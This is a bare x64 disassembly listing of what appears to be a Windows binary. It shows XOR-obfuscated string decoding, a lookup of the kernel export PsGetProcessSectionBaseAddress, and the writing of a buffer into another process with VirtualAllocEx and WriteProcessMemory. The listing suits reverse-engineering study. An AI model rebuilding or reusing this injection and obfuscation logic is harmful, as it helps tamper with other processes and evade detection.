pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0xaa0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0xab0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0xac0], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xad0], xmm5
lea rax, [rbp + 0xc00]
lea rcx, [rbp + 0xaa0]
mov rdx, r15
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001d8a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x11418565d6aa820d
mov qword [rbp + 0x3590], rax
movabs rax, 0x74657bee7871ebd7
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x7d2ff70ea5c5f663
mov qword [rbp + 0x35b0], rax
movabs rax, 0x74657bee1d098ef9
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0xc00]
lea rcx, [rsp + 0x30]
call fcn.1400532e0
mov qword [rdi + 0x38], rax
test rax, rax
jne 0x14001da8d
movabs rax, 0x11738f45bd9643
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe5fbbbc90844c22
mov qword [rbp + 0x3598], rcx
movabs rax, 0x1173fd2acfe406
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
movabs rax, 0x1fffffffe178af10
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe00000001e7af47a
movabs rax, 0x1fffffffe178a523
jmp 0x14001dda2
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1ca08a687c6e25c3
mov qword [rsp + 0x30], rax
movabs rax, 0x1f39d9dac7987e0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe000000020013509
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x73c4fe1d143d518d
mov qword [rsp + 0x70], rax
movabs rax, 0x6c96e9eed52ae997
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x80], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x90], xmm5
lea rax, [rbp + 0xc00]
lea rcx, [rbp + 0x60]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r15, 1
jne 0x14001db40
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movabs rax, 0xba506247322a6da
mov qword [rbp + 0x3590], rax
movabs rax, 0x60a2e4ad33562afe
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x67cb744f004dd2b4
mov qword [rbp + 0x35b0], rax
movabs rax, 0x60a2e4ad562e4fd0
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0xc00]
lea rcx, [rsp + 0x30]
call fcn.1400532e0
mov qword [rdi + 0x20], rax
test rax, rax
jne 0x14001dd0d
movabs rax, 0x114c38f6664e8b
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe5f8658ad3ece82
mov qword [rbp + 0x3598], rcx
movabs rax, 0x114c4a99143cce
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
movabs rax, 0x1fffffffe189c453
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe00000001ea4824f
movabs rax, 0x1fffffffe189ce67
jmp 0x14001dda2
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rdx, str.PsGetProcessSectionBaseAddress
lea rcx, str.ntoskrnl.exe
call fcn.1400532e0
mov qword [rdi + 0x30], rax
test rax, rax
jne 0x14001de56
movabs rax, 0xf319260b26fc2
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe6009563f3d29a6
mov qword [rbp + 0x3598], rcx
movabs rax, 0xf31e00fc01d87
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
movabs rax, 0x1fffffffe1594656
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe00000001e9992ee
movabs rax, 0x1fffffffe1594c63
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
mov qword [rbp + 0x3598], rcx
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rbp + 0x3550]
movaps xmmword [rbp + 0x35a0], xmm0
lea rdx, [rbp + 0x3590]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm1, xmmword [rbp + 0x3560]
movaps xmmword [rbp + 0x35b0], xmm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
mov rcx, qword [0x1402007e8]
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
jmp 0x14001debb
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1d8
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x14001dead
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1d8
mov r8, rdi
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rbp + 0x50]
test rax, rax
je 0x14001deb9
mov qword [rax], rbx
mov bl, 1
lea rcx, [rbp + 0x3540]
call fcn.140059be0
movzx eax, bl
jmp 0x14001deda
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor al, al
mov rcx, qword [rbp + 0x3870]
xor rcx, rsp
call fcn.140108a30
lea r11, [rsp + 0x39c0]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret